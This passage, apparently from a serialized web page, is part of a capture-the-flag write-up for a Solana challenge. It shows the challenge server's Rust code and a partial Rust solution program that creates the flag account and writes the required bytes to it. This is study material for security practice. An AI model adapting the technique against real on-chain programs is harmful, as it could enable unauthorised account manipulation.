chall",{"type":25,"tag":216,"props":46004,"children":46005},{"style":6947},[46006],{"type":31,"value":7432},{"type":25,"tag":216,"props":46008,"children":46009},{"style":6958},[46010],{"type":31,"value":46011},"ID);\n",{"type":25,"tag":216,"props":46013,"children":46014},{"class":6916,"line":6772},[46015,46019,46023,46027,46031,46035,46039,46044,46048,46052,46056],{"type":25,"tag":216,"props":46016,"children":46017},{"style":6930},[46018],{"type":31,"value":15737},{"type":25,"tag":216,"props":46020,"children":46021},{"style":6930},[46022],{"type":31,"value":6938},{"type":25,"tag":216,"props":46024,"children":46025},{"style":6941},[46026],{"type":31,"value":46002},{"type":25,"tag":216,"props":46028,"children":46029},{"style":6947},[46030],{"type":31,"value":6950},{"type":25,"tag":216,"props":46032,"children":46033},{"style":6941},[46034],{"type":31,"value":45870},{"type":25,"tag":216,"props":46036,"children":46037},{"style":6947},[46038],{"type":31,"value":179},{"type":25,"tag":216,"props":46040,"children":46041},{"style":7041},[46042],{"type":31,"value":46043},"build",{"type":25,"tag":216,"props":46045,"children":46046},{"style":6958},[46047],{"type":31,"value":17830},{"type":25,"tag":216,"props":46049,"children":46050},{"style":6947},[46051],{"type":31,"value":179},{"type":25,"tag":216,"props":46053,"children":46054},{"style":6967},[46055],{"type":31,"value":36872},{"type":25,"tag":216,"props":46057,"children":46058},{"style":6958},[46059],{"type":31,"value":6961},{"type":25,"tag":6705,"props":46061,"children":46062},{"start":6763},[46063],{"type":25,"tag":2037,"props":46064,"children":46065},{},[46066],{"type":31,"value":46067},"Funds the user account with 100 SOL",{"type":25,"tag":206,"props":46069,"children":46071},{"className":6909,"code":46070,"language":6908,"meta":7,"style":7},"let user_keypair = Keypair::new();\nlet user = user_keypair.pubkey();\n\nlet payer_keypair = &chall.ctx.payer;\nlet payer = payer_keypair.pubkey();\n\nchall\n    .run_ix(system_instruction::transfer(&payer, &user, 100_000_000_000))\n    .await?;\n\nwriteln!(socket, \"user: {}\", user)?;\n",[46072],{"type":25,"tag":82,"props":46073,"children":46074},{"__ignoreMap":7},[46075,46108,46140,46147,46189,46221,46228,46236,46300,46319,46326],{"type":25,"tag":216,"props":46076,"children":46077},{"class":6916,"line":6917},[46078,46082,46087,46091,46096,46100,46104],{"type":25,"tag":216,"props":46079,"children":46080},{"style":6930},[46081],{"type":31,"value":15737},{"type":25,"tag":216,"props":46083,"children":46084},{"style":6941},[46085],{"type":31,"value":46086}," user_keypair",{"type":25,"tag":216,"props":46088,"children":46089},{"style":6947},[46090],{"type":31,"value":6950},{"type":25,"tag":216,"props":46092,"children":46093},{"style":7369},[46094],{"type":31,"value":46095}," Keypair",{"type":25,"tag":216,"props":46097,"children":46098},{"style":6947},[46099],{"type":31,"value":7432},{"type":25,"tag":216,"props":46101,"children":46102},{"style":7041},[46103],{"type":31,"value":19074},{"type":25,"tag":216,"props":46105,"children":46106},{"style":6958},[46107],{"type":31,"value":7627},{"type":25,"tag":216,"props":46109,"children":46110},{"class":6916,"line":6763},[46111,46115,46120,46124,46128,46132,46136],{"type":25,"tag":216,"props":46112,"children":46113},{"style":6930},[46114],{"type":31,"value":15737},{"type":25,"tag":216,"props":46116,"children":46117},{"style":6941},[46118],{"type":31,"value":46119}," user",{"type":25,"tag":216,"props":46121,"children":46122},{"style":6947},[46123],{"type":31,"value":6950},{"type":25,"tag":216,"props":46125,"children":46126},{"style":6941},[46127],{"type":31,"value":46086},{"type":25,"tag":216,"props":46129,"children":46130},{"style":6947},[46131],{"type":31,"value":179},{"type":25,"tag":216,"props":46133,"children":46134},{"style":7041},[46135],{"type":31,"value":7496},{"type":25,"tag":216,"props":46137,"children":46138},{"style":6958},[46139],{"type":31,"value":7627},{"type":25,"tag":216,"props":46141,"children":46142},{"class":6916,"line":6772},[46143],{"type":25,"tag":216,"props":46144,"children":46145},{"emptyLinePlaceholder":16},[46146],{"type":31,"value":7636},{"type":25,"tag":216,"props":46148,"children":46149},{"class":6916,"line":6999},[46150,46154,46159,46163,46167,46172,46176,46180,46184],{"type":25,"tag":216,"props":46151,"children":46152},{"style":6930},[46153],{"type":31,"value":15737},{"type":25,"tag":216,"props":46155,"children":46156},{"style":6941},[46157],{"type":31,"value":46158}," payer_keypair",{"type":25,"tag":216,"props":46160,"children":46161},{"style":6947},[46162],{"type":31,"value":6950},{"type":25,"tag":216,"props":46164,"children":46165},{"style":6947},[46166],{"type":31,"value":11087},{"type":25,"tag":216,"props":46168,"children":46169},{"style":6941},[46170],{"type":31,"value":46171},"chall",{"type":25,"tag":216,"props":46173,"children":46174},{"style":6947},[46175],{"type":31,"value":179},{"type":25,"tag":216,"props":46177,"children":46178},{"style":6958},[46179],{"type":31,"value":24234},{"type":25,"tag":216,"props":46181,"children":46182},{"style":6947},[46183],{"type":31,"value":179},{"type":25,"tag":216,"props":46185,"children":46186},{"style":6958},[46187],{"type":31,"value":46188},"payer;\n",{"type":25,"tag":216,"props":46190,"children":46191},{"class":6916,"line":7104},[46192,46196,46201,46205,46209,46213,46217],{"type":25,"tag":216,"props":46193,"children":46194},{"style":6930},[46195],{"type":31,"value":15737},{"type":25,"tag":216,"props":46197,"children":46198},{"style":6941},[46199],{"type":31,"value":46200}," payer",{"type":25,"tag":216,"props":46202,"children":46203},{"style":6947},[46204],{"type":31,"value":6950},{"type":25,"tag":216,"props":46206,"children":46207},{"style":6941},[46208],{"type":31,"value":46158},{"type":25,"tag":216,"props":46210,"children":46211},{"style":6947},[46212],{"type":31,"value":179},{"type":25,"tag":216,"props":46214,"children":46215},{"style":7041},[46216],{"type":31,"value":7496},{"type":25,"tag":216,"props":46218,"children":46219},{"style":6958},[46220],{"type":31,"value":7627},{"type":25,"tag":216,"props":46222,"children":46223},{"class":6916,"line":7210},[46224],{"type":25,"tag":216,"props":46225,"children":46226},{"emptyLinePlaceholder":16},[46227],{"type":31,"value":7636},{"type":25,"tag":216,"props":46229,"children":46230},{"class":6916,"line":7238},[46231],{"type":25,"tag":216,"props":46232,"children":46233},{"style":6941},[46234],{"type":31,"value":46235},"chall\n",{"type":25,"tag":216,"props":46237,"children":46238},{"class":6916,"line":7251},[46239,46244,46249,46254,46258,46262,46266,46270,46275,46279,46283,46287,46291,46296],{"type":25,"tag":216,"props":46240,"children":46241},{"style":6947},[46242],{"type":31,"value":46243},"    .",{"type":25,"tag":216,"props":46245,"children":46246},{"style":7041},[46247],{"type":31,"value":46248},"run_ix",{"type":25,"tag":216,"props":46250,"children":46251},{"style":6958},[46252],{"type":31,"value":46253},"(system_instruction",{"type":25,"tag":216,"props":46255,"children":46256},{"style":6947},[46257],{"type":31,"value":7432},{"type":25,"tag":216,"props":46259,"children":46260},{"style":7041},[46261],{"type":31,"value":36079},{"type":25,"tag":216,"props":46263,"children":46264},{"style":6958},[46265],{"type":31,"value":1844},{"type":25,"tag":216,"props":46267,"children":46268},{"style":6947},[46269],{"type":31,"value":7053},{"type":25,"tag":216,"props":46271,"children":46272},{"style":6941},[46273],{"type":31,"value":46274},"payer",{"type":25,"tag":216,"props":46276,"children":46277},{"style":6958},[46278],{"type":31,"value":7020},{"type":25,"tag":216,"props":46280,"children":46281},{"style":6947},[46282],{"type":31,"value":7053},{"type":25,"tag":216,"props":46284,"children":46285},{"style":6941},[46286],{"type":31,"value":24186},{"type":25,"tag":216,"props":46288,"children":46289},{"style":6958},[46290],{"type":31,"value":7020},{"type":25,"tag":216,"props":46292,"children":46293},{"style":6983},[46294],{"type":31,"value":46295},"100_000_000_000",{"type":25,"tag":216,"props":46297,"children":46298},{"style":6958},[46299],{"type":31,"value":23666},{"type":25,"tag":216,"props":46301,"children":46302},{"class":6916,"line":7269},[46303,46307,46311,46315],{"type":25,"tag":216,"props":46304,"children":46305},{"style":6947},[46306],{"type":31,"value":46243},{"type":25,"tag":216,"props":46308,"children":46309},{"style":6967},[46310],{"type":31,"value":36872},{"type":25,"tag":216,"props":46312,"children":46313},{"style":6947},[46314],{"type":31,"value":605},{"type":25,"tag":216,"props":46316,"children":46317},{"style":6958},[46318],{"type":31,"value":6961},{"type":25,"tag":216,"props":46320,"children":46321},{"class":6916,"line":7290},[46322],{"type":25,"tag":216,"props":46323,"children":46324},{"emptyLinePlaceholder":16},[46325],{"type":31,"value":7636},{"type":25,"tag":216,"props":46327,"children":46328},{"class":6916,"line":7299},[46329,46334,46338,46342,46346,46351,46355,46359,46363,46367],{"type":25,"tag":216,"props":46330,"children":46331},{"style":7041},[46332],{"type":31,"value":46333},"writeln!",{"type":25,"tag":216,"props":46335,"children":46336},{"style":6958},[46337],{"type":31,"value":1844},{"type":25,"tag":216,"props":46339,"children":46340},{"style":6941},[46341],{"type":31,"value":45897},{"type":25,"tag":216,"props":46343,"children":46344},{"style":6958},[46345],{"type":31,"value":7020},{"type":25,"tag":216,"props":46347,"children":46348},{"style":8199},[46349],{"type":31,"value":46350},"\"user: {}\"",{"type":25,"tag":216,"props":46352,"children":46353},{"style":6958},[46354],{"type":31,"value":7020},{"type":25,"tag":216,"props":46356,"children":46357},{"style":6941},[46358],{"type":31,"value":24186},{"type":25,"tag":216,"props":46360,"children":46361},{"style":6958},[46362],{"type":31,"value":1882},{"type":25,"tag":216,"props":46364,"children":46365},{"style":6947},[46366],{"type":31,"value":605},{"type":25,"tag":216,"props":46368,"children":46369},{"style":6958},[46370],{"type":31,"value":6961},{"type":25,"tag":6705,"props":46372,"children":46373},{"start":6772},[46374],{"type":25,"tag":2037,"props":46375,"children":46376},{},[46377],{"type":31,"value":46378},"Reads an instruction from the tcp stream and executes it",{"type":25,"tag":206,"props":46380,"children":46382},{"className":6909,"code":46381,"language":6908,"meta":7,"style":7},"let solve_ix = chall.read_instruction(chall::ID)?;\nchall.run_ixs_full(&[solve_ix], &[&user_keypair], &user).await?;\n",[46383],{"type":25,"tag":82,"props":46384,"children":46385},{"__ignoreMap":7},[46386,46436],{"type":25,"tag":216,"props":46387,"children":46388},{"class":6916,"line":6917},[46389,46393,46398,46402,46406,46410,46415,46419,46423,46428,46432],{"type":25,"tag":216,"props":46390,"children":46391},{"style":6930},[46392],{"type":31,"value":15737},{"type":25,"tag":216,"props":46394,"children":46395},{"style":6941},[46396],{"type":31,"value":46397}," solve_ix",{"type":25,"tag":216,"props":46399,"children":46400},{"style":6947},[46401],{"type":31,"value":6950},{"type":25,"tag":216,"props":46403,"children":46404},{"style":6941},[46405],{"type":31,"value":46002},{"type":25,"tag":216,"props":46407,"children":46408},{"style":6947},[46409],{"type":31,"value":179},{"type":25,"tag":216,"props":46411,"children":46412},{"style":7041},[46413],{"type":31,"value":46414},"read_instruction",{"type":25,"tag":216,"props":46416,"children":46417},{"style":6958},[46418],{"type":31,"value":45984},{"type":25,"tag":216,"props":46420,"children":46421},{"style":6947},[46422],{"type":31,"value":7432},{"type":25,"tag":216,"props":46424,"children":46425},{"style":6958},[46426],{"type":31,"value":46427},"ID)",{"type":25,"tag":216,"props":46429,"children":46430},{"style":6947},[46431],{"type":31,"value":605},{"type":25,"tag":216,"props":46433,"children":46434},{"style":6958},[46435],{"type":31,"value":6961},{"type":25,"tag":216,"props":46437,"children":46438},{"class":6916,"line":6763},[46439,46443,46447,46452,46456,46460,46464,46469,46473,46477,46481,46485,46490,46494,46498,46502,46506,46510,46514,46518],{"type":25,"tag":216,"props":46440,"children":46441},{"style":6941},[46442],{"type":31,"value":46171},{"type":25,"tag":216,"props":46444,"children":46445},{"style":6947},[46446],{"type":31,"value":179},{"type":25,"tag":216,"props":46448,"children":46449},{"style":7041},[46450],{"type":31,"value":46451},"run_ixs_full",{"type":25,"tag":216,"props":46453,"children":46454},{"style":6958},[46455],{"type":31,"value":1844},{"type":25,"tag":216,"props":46457,"children":46458},{"style":6947},[46459],{"type":31,"value":7053},{"type":25,"tag":216,"props":46461,"children":46462},{"style":6958},[46463],{"type":31,"value":7695},{"type":25,"tag":216,"props":46465,"children":46466},{"style":6941},[46467],{"type":31,"value":46468},"solve_ix",{"type":25,"tag":216,"props":46470,"children":46471},{"style":6958},[46472],{"type":31,"value":27000},{"type":25,"tag":216,"props":46474,"children":46475},{"style":6947},[46476],{"type":31,"value":7053},{"type":25,"tag":216,"props":46478,"children":46479},{"style":6958},[46480],{"type":31,"value":7695},{"type":25,"tag":216,"props":46482,"children":46483},{"style":6947},[46484],{"type":31,"value":7053},{"type":25,"tag":216,"props":46486,"children":46487},{"style":6941},[46488],{"type":31,"value":46489},"user_keypair",{"type":25,"tag":216,"props":46491,"children":46492},{"style":6958},[46493],{"type":31,"value":27000},{"type":25,"tag":216,"props":46495,"children":46496},{"style":6947},[46497],{"type":31,"value":7053},{"type":25,"tag":216,"props":46499,"children":46500},{"style":6941},[46501],{"type":31,"value":24186},{"type":25,"tag":216,"props":46503,"children":46504},{"style":6958},[46505],{"type":31,"value":1882},{"type":25,"tag":216,"props":46507,"children":46508},{"style":6947},[46509],{"type":31,"value":179},{"type":25,"tag":216,"props":46511,"children":46512},{"style":6967},[46513],{"type":31,"value":36872},{"type":25,"tag":216,"props":46515,"children":46516},{"style":6947},[46517],{"type":31,"value":605},{"type":25,"tag":216,"props":46519,"children":46520},{"style":6958},[46521],{"type":31,"value":6961},{"type":25,"tag":6705,"props":46523,"children":46524},{"start":6999},[46525],{"type":25,"tag":2037,"props":46526,"children":46527},{},[46528],{"type":31,"value":46529},"Checks that the account at PDA(\"FLAG\") exists, has a data length of 0x1337 and the first 8 bytes are equal to 0x4337. If so, it prints the flag.",{"type":25,"tag":206,"props":46531,"children":46533},{"className":6909,"code":46532,"language":6908,"meta":7,"style":7},"let flag = Pubkey::create_program_address(&[\"FLAG\".as_ref()], &chall::ID)?;\nif let Some(acct) = chall.ctx.banks_client.get_account(flag).await? {\n    if acct.data.len() == 0x1337\n        && u64::from_le_bytes(acct.data[..8].try_into().unwrap()) == 0x4337\n    {\n        writeln!(socket, \"congrats!\")?;\n        if let Ok(flag) = env::var(\"FLAG\") {\n            writeln!(socket, \"flag: {:?}\", flag)?;\n        } else {\n            writeln!(socket, \"flag not found, please contact admin\")?;\n        }\n    }\n}\n",[46534],{"type":25,"tag":82,"props":46535,"children":46536},{"__ignoreMap":7},[46537,46621,46712,46753,46837,46844,46881,46938,46983,46998,47034,47041,47048],{"type":25,"tag":216,"props":46538,"children":46539},{"class":6916,"line":6917},[46540,46544,46549,46553,46557,46561,46566,46570,46574,46578,46583,46587,46592,46597,46601,46605,46609,46613,46617],{"type":25,"tag":216,"props":46541,"children":46542},{"style":6930},[46543],{"type":31,"value":15737},{"type":25,"tag":216,"props":46545,"children":46546},{"style":6941},[46547],{"type":31,"value":46548}," flag",{"type":25,"tag":216,"props":46550,"children":46551},{"style":6947},[46552],{"type":31,"value":6950},{"type":25,"tag":216,"props":46554,"children":46555},{"style":7369},[46556],{"type":31,"value":24811},{"type":25,"tag":216,"props":46558,"children":46559},{"style":6947},[46560],{"type":31,"value":7432},{"type":25,"tag":216,"props":46562,"children":46563},{"style":7041},[46564],{"type":31,"value":46565},"create_program_address",{"type":25,"tag":216,"props":46567,"children":46568},{"style":6958},[46569],{"type":31,"value":1844},{"type":25,"tag":216,"props":46571,"children":46572},{"style":6947},[46573],{"type":31,"value":7053},{"type":25,"tag":216,"props":46575,"children":46576},{"style":6958},[46577],{"type":31,"value":7695},{"type":25,"tag":216,"props":46579,"children":46580},{"style":8199},[46581],{"type":31,"value":46582},"\"FLAG\"",{"type":25,"tag":216,"props":46584,"children":46585},{"style":6947},[46586],{"type":31,"value":179},{"type":25,"tag":216,"props":46588,"children":46589},{"style":7041},[46590],{"type":31,"value":46591},"as_ref",{"type":25,"tag":216,"props":46593,"children":46594},{"style":6958},[46595],{"type":31,"value":46596},"()], ",{"type":25,"tag":216,"props":46598,"children":46599},{"style":6947},[46600],{"type":31,"value":7053},{"type":25,"tag":216,"props":46602,"children":46603},{"style":6958},[46604],{"type":31,"value":46171},{"type":25,"tag":216,"props":46606,"children":46607},{"style":6947},[46608],{"type":31,"value":7432},{"type":25,"tag":216,"props":46610,"children":46611},{"style":6958},[46612],{"type":31,"value":46427},{"type":25,"tag":216,"props":46614,"children":46615},{"style":6947},[46616],{"type":31,"value":605},{"type":25,"tag":216,"props":46618,"children":46619},{"style":6958},[46620],{"type":31,"value":6961},{"type":25,"tag":216,"props":46622,"children":46623},{"class":6916,"line":6763},[46624,46628,46632,46636,46640,46645,46649,46653,46657,46661,46665,46669,46674,46678,46683,46687,46692,46696,46700,46704,46708],{"type":25,"tag":216,"props":46625,"children":46626},{"style":6967},[46627],{"type":31,"value":19531},{"type":25,"tag":216,"props":46629,"children":46630},{"style":6930},[46631],{"type":31,"value":31257},{"type":25,"tag":216,"props":46633,"children":46634},{"style":7369},[46635],{"type":31,"value":31262},{"type":25,"tag":216,"props":46637,"children":46638},{"style":6958},[46639],{"type":31,"value":1844},{"type":25,"tag":216,"props":46641,"children":46642},{"style":6941},[46643],{"type":31,"value":46644},"acct",{"type":25,"tag":216,"props":46646,"children":46647},{"style":6958},[46648],{"type":31,"value":7030},{"type":25,"tag":216,"props":46650,"children":46651},{"style":6947},[46652],{"type":31,"value":266},{"type":25,"tag":216,"props":46654,"children":46655},{"style":6941},[46656],{"type":31,"value":46002},{"type":25,"tag":216,"props":46658,"children":46659},{"style":6947},[46660],{"type":31,"value":179},{"type":25,"tag":216,"props":46662,"children":46663},{"style":6958},[46664],{"type":31,"value":24234},{"type":25,"tag":216,"props":46666,"children":46667},{"style":6947},[46668],{"type":31,"value":179},{"type":25,"tag":216,"props":46670,"children":46671},{"style":6958},[46672],{"type":31,"value":46673},"banks_client",{"type":25,"tag":216,"props":46675,"children":46676},{"style":6947},[46677],{"type":31,"value":179},{"type":25,"tag":216,"props":46679,"children":46680},{"style":7041},[46681],{"type":31,"value":46682},"get_account",{"type":25,"tag":216,"props":46684,"children":46685},{"style":6958},[46686],{"type":31,"value":1844},{"type":25,"tag":216,"props":46688,"children":46689},{"style":6941},[46690],{"type":31,"value":46691},"flag",{"type":25,"tag":216,"props":46693,"children":46694},{"style":6958},[46695],{"type":31,"value":1882},{"type":25,"tag":216,"props":46697,"children":46698},{"style":6947},[46699],{"type":31,"value":179},{"type":25,"tag":216,"props":46701,"children":46702},{"style":6967},[46703],{"type":31,"value":36872},{"type":25,"tag":216,"props":46705,"children":46706},{"style":6947},[46707],{"type":31,"value":605},{"type":25,"tag":216,"props":46709,"children":46710},{"style":6958},[46711],{"type":31,"value":7235},{"type":25,"tag":216,"props":46713,"children":46714},{"class":6916,"line":6772},[46715,46719,46724,46728,46732,46736,46740,46744,46748],{"type":25,"tag":216,"props":46716,"children":46717},{"style":6967},[46718],{"type":31,"value":16229},{"type":25,"tag":216,"props":46720,"children":46721},{"style":6941},[46722],{"type":31,"value":46723}," acct",{"type":25,"tag":216,"props":46725,"children":46726},{"style":6947},[46727],{"type":31,"value":179},{"type":25,"tag":216,"props":46729,"children":46730},{"style":6958},[46731],{"type":31,"value":7663},{"type":25,"tag":216,"props":46733,"children":46734},{"style":6947},[46735],{"type":31,"value":179},{"type":25,"tag":216,"props":46737,"children":46738},{"style":7041},[46739],{"type":31,"value":13088},{"type":25,"tag":216,"props":46741,"children":46742},{"style":6958},[46743],{"type":31,"value":17994},{"type":25,"tag":216,"props":46745,"children":46746},{"style":6947},[46747],{"type":31,"value":12522},{"type":25,"tag":216,"props":46749,"children":46750},{"style":6983},[46751],{"type":31,"value":46752}," 0x1337\n",{"type":25,"tag":216,"props":46754,"children":46755},{"class":6916,"line":6999},[46756,46761,46765,46769,46774,46778,46782,46786,46791,46795,46799,46803,46807,46811,46815,46819,46823,46828,46832],{"type":25,"tag":216,"props":46757,"children":46758},{"style":6947},[46759],{"type":31,"value":46760},"        &&",{"type":25,"tag":216,"props":46762,"children":46763},{"style":7369},[46764],{"type":31,"value":9805},{"type":25,"tag":216,"props":46766,"children":46767},{"style":6947},[46768],{"type":31,"value":7432},{"type":25,"tag":216,"props":46770,"children":46771},{"style":7041},[46772],{"type":31,"value":46773},"from_le_bytes",{"type":25,"tag":216,"props":46775,"children":46776},{"style":6958},[46777],{"type":31,"value":1844},{"type":25,"tag":216,"props":46779,"children":46780},{"style":6941},[46781],{"type":31,"value":46644},{"type":25,"tag":216,"props":46783,"children":46784},{"style":6947},[46785],{"type":31,"value":179},{"type":25,"tag":216,"props":46787,"children":46788},{"style":6958},[46789],{"type":31,"value":46790},"data[",{"type":25,"tag":216,"props":46792,"children":46793},{"style":6947},[46794],{"type":31,"value":6991},{"type":25,"tag":216,"props":46796,"children":46797},{"style":6983},[46798],{"type":31,"value":8025},{"type":25,"tag":216,"props":46800,"children":46801},{"style":6958},[46802],{"type":31,"value":19362},{"type":25,"tag":216,"props":46804,"children":46805},{"style":6947},[46806],{"type":31,"value":179},{"type":25,"tag":216,"props":46808,"children":46809},{"style":7041},[46810],{"type":31,"value":30114},{"type":25,"tag":216,"props":46812,"children":46813},{"style":6958},[46814],{"type":31,"value":17830},{"type":25,"tag":216,"props":46816,"children":46817},{"style":6947},[46818],{"type":31,"value":179},{"type":25,"tag":216,"props":46820,"children":46821},{"style":7041},[46822],{"type":31,"value":7622},{"type":25,"tag":216,"props":46824,"children":46825},{"style":6958},[46826],{"type":31,"value":46827},"()) ",{"type":25,"tag":216,"props":46829,"children":46830},{"style":6947},[46831],{"type":31,"value":12522},{"type":25,"tag":216,"props":46833,"children":46834},{"style":6983},[46835],{"type":31,"value":46836}," 0x4337\n",{"type":25,"tag":216,"props":46838,"children":46839},{"class":6916,"line":7104},[46840],{"type":25,"tag":216,"props":46841,"children":46842},{"style":6958},[46843],{"type":31,"value":33141},{"type":25,"tag":216,"props":46845,"children":46846},{"class":6916,"line":7210},[46847,46852,46856,46860,46864,46869,46873,46877],{"type":25,"tag":216,"props":46848,"children":46849},{"style":7041},[46850],{"type":31,"value":46851},"        writeln!",{"type":25,"tag":216,"props":46853,"children":46854},{"style":6958},[46855],{"type":31,"value":1844},{"type":25,"tag":216,"props":46857,"children":46858},{"style":6941},[46859],{"type":31,"value":45897},{"type":25,"tag":216,"props":46861,"children":46862},{"style":6958},[46863],{"type":31,"value":7020},{"type":25,"tag":216,"props":46865,"children":46866},{"style":8199},[46867],{"type":31,"value":46868},"\"congrats!\"",{"type":25,"tag":216,"props":46870,"children":46871},{"style":6958},[46872],{"type":31,"value":1882},{"type":25,"tag":216,"props":46874,"children":46875},{"style":6947},[46876],{"type":31,"value":605},{"type":25,"tag":216,"props":46878,"children":46879},{"style":6958},[46880],{"type":31,"value":6961},{"type":25,"tag":216,"props":46882,"children":46883},{"class":6916,"line":7238},[46884,46888,46892,46897,46901,46905,46909,46913,46918,46922,46926,46930,46934],{"type":25,"tag":216,"props":46885,"children":46886},{"style":6967},[46887],{"type":31,"value":7216},{"type":25,"tag":216,"props":46889,"children":46890},{"style":6930},[46891],{"type":31,"value":31257},{"type":25,"tag":216,"props":46893,"children":46894},{"style":7369},[46895],{"type":31,"value":46896}," Ok",{"type":25,"tag":216,"props":46898,"children":46899},{"style":6958},[46900],{"type":31,"value":1844},{"type":25,"tag":216,"props":46902,"children":46903},{"style":6941},[46904],{"type":31,"value":46691},{"type":25,"tag":216,"props":46906,"children":46907},{"style":6958},[46908],{"type":31,"value":7030},{"type":25,"tag":216,"props":46910,"children":46911},{"style":6947},[46912],{"type":31,"value":266},{"type":25,"tag":216,"props":46914,"children":46915},{"style":6958},[46916],{"type":31,"value":46917}," env",{"type":25,"tag":216,"props":46919,"children":46920},{"style":6947},[46921],{"type":31,"value":7432},{"type":25,"tag":216,"props":46923,"children":46924},{"style":7041},[46925],{"type":31,"value":39004},{"type":25,"tag":216,"props":46927,"children":46928},{"style":6958},[46929],{"type":31,"value":1844},{"type":25,"tag":216,"props":46931,"children":46932},{"style":8199},[46933],{"type":31,"value":46582},{"type":25,"tag":216,"props":46935,"children":46936},{"style":6958},[46937],{"type":31,"value":18755},{"type":25,"tag":216,"props":46939,"children":46940},{"class":6916,"line":7251},[46941,46946,46950,46954,46958,46963,46967,46971,46975,46979],{"type":25,"tag":216,"props":46942,"children":46943},{"style":7041},[46944],{"type":31,"value":46945},"            writeln!",{"type":25,"tag":216,"props":46947,"children":46948},{"style":6958},[46949],{"type":31,"value":1844},{"type":25,"tag":216,"props":46951,"children":46952},{"style":6941},[46953],{"type":31,"value":45897},{"type":25,"tag":216,"props":46955,"children":46956},{"style":6958},[46957],{"type":31,"value":7020},{"type":25,"tag":216,"props":46959,"children":46960},{"style":8199},[46961],{"type":31,"value":46962},"\"flag: {:?}\"",{"type":25,"tag":216,"props":46964,"children":46965},{"style":6958},[46966],{"type":31,"value":7020},{"type":25,"tag":216,"props":46968,"children":46969},{"style":6941},[46970],{"type":31,"value":46691},{"type":25,"tag":216,"props":46972,"children":46973},{"style":6958},[46974],{"type":31,"value":1882},{"type":25,"tag":216,"props":46976,"children":46977},{"style":6947},[46978],{"type":31,"value":605},{"type":25,"tag":216,"props":46980,"children":46981},{"style":6958},[46982],{"type":31,"value":6961},{"type":25,"tag":216,"props":46984,"children":46985},{"class":6916,"line":7269},[46986,46990,46994],{"type":25,"tag":216,"props":46987,"children":46988},{"style":6958},[46989],{"type":31,"value":7257},{"type":25,"tag":216,"props":46991,"children":46992},{"style":6967},[46993],{"type":31,"value":7262},{"type":25,"tag":216,"props":46995,"children":46996},{"style":6958},[46997],{"type":31,"value":7235},{"type":25,"tag":216,"props":46999,"children":47000},{"class":6916,"line":7290},[47001,47005,47009,47013,47017,47022,47026,47030],{"type":25,"tag":216,"props":47002,"children":47003},{"style":7041},[47004],{"type":31,"value":46945},{"type":25,"tag":216,"props":47006,"children":47007},{"style":6958},[47008],{"type":31,"value":1844},{"type":25,"tag":216,"props":47010,"children":47011},{"style":6941},[47012],{"type":31,"value":45897},{"type":25,"tag":216,"props":47014,"children":47015},{"style":6958},[47016],{"type":31,"value":7020},{"type":25,"tag":216,"props":47018,"children":47019},{"style":8199},[47020],{"type":31,"value":47021},"\"flag not found, please contact admin\"",{"type":25,"tag":216,"props":47023,"children":47024},{"style":6958},[47025],{"type":31,"value":1882},{"type":25,"tag":216,"props":47027,"children":47028},{"style":6947},[47029],{"type":31,"value":605},{"type":25,"tag":216,"props":47031,"children":47032},{"style":6958},[47033],{"type":31,"value":6961},{"type":25,"tag":216,"props":47035,"children":47036},{"class":6916,"line":7299},[47037],{"type":25,"tag":216,"props":47038,"children":47039},{"style":6958},[47040],{"type":31,"value":7296},{"type":25,"tag":216,"props":47042,"children":47043},{"class":6916,"line":7551},[47044],{"type":25,"tag":216,"props":47045,"children":47046},{"style":6958},[47047],{"type":31,"value":7305},{"type":25,"tag":216,"props":47049,"children":47050},{"class":6916,"line":7568},[47051],{"type":25,"tag":216,"props":47052,"children":47053},{"style":6958},[47054],{"type":31,"value":7868},{"type":25,"tag":26,"props":47056,"children":47058},{"id":47057},"solution-idea",[47059],{"type":31,"value":47060},"Solution Idea",{"type":25,"tag":38,"props":47062,"children":47063},{},[47064,47066,47071],{"type":31,"value":47065},"You may think it's impossible to do with just one instruction, but we can actually leverage the ",{"type":25,"tag":82,"props":47067,"children":47069},{"className":47068},[],[47070],{"type":31,"value":39638},{"type":31,"value":47072}," function to execute infinite instructions. Well -- not entirely infinite, as we are limited by the amount of data we can pass to the on-chain program, and by the maximum stack depth of the Solana VM -- but we can execute up to 64 instructions, which is more than enough to get the flag.",{"type":25,"tag":38,"props":47074,"children":47075},{},[47076,47078,47084],{"type":31,"value":47077},"In order to get the flag, we need to make sure that the account at ",{"type":25,"tag":82,"props":47079,"children":47081},{"className":47080},[],[47082],{"type":31,"value":47083},"PDA(\"FLAG\")",{"type":31,"value":47085}," exists, has a data length of 0x1337, and the first 8 bytes are equal to 0x4337.",{"type":25,"tag":38,"props":47087,"children":47088},{},[47089,47091,47098],{"type":31,"value":47090},"Essentially, we need to ",{"type":25,"tag":162,"props":47092,"children":47095},{"href":47093,"rel":47094},"https://docs.solana.com/developing/runtime-facilities/programs#system-program",[166],[47096],{"type":31,"value":47097},"invoke the System Program",{"type":31,"value":47099},", and write controlled data into the newly created account.",{"type":25,"tag":38,"props":47101,"children":47102},{},[47103],{"type":31,"value":47104},"A sample program that does this is as follows:",{"type":25,"tag":206,"props":47106,"children":47108},{"className":6909,"code":47107,"language":6908,"meta":7,"style":7},"pub fn process_instruction(\n    program_id: &Pubkey,\n    accounts: &[AccountInfo],\n    data: &[u8]\n) -> ProgramResult {\n    let flag_pda_ai = &accounts[0];\n    let user_ai = &accounts[1];\n\n    // Step 1: Create a new account with 0x1337 bytes of data\n    let instruction = Instruction::new_with_bincode(\n        system_program::ID,\n        &SystemInstruction::CreateAccount {\n            space: 0x1337,\n            lamports: Rent::default().minimum_balance(0x1337),\n            owner: chall::ID\n        },\n        vec![\n            AccountMeta::new(*user_ai.key, true),\n            AccountMeta::new(*flag_pda_ai.key, true),\n        ],\n    );\n    invoke_signed_unchecked(\n        &instruction,\n        &[\n            user_ai.clone(),\n            flag_pda_ai.clone(),\n        ],\n        &[&[\"FLAG\".as_ref()]],\n    )?;\n\n    // Step 2: Write 0x4337 to the first 8 bytes of the account\n    flag_pda_ai.try_borrow_mut_data()?[..8].copy_from_slice(&0x4337u64.to_le_bytes());\n\n    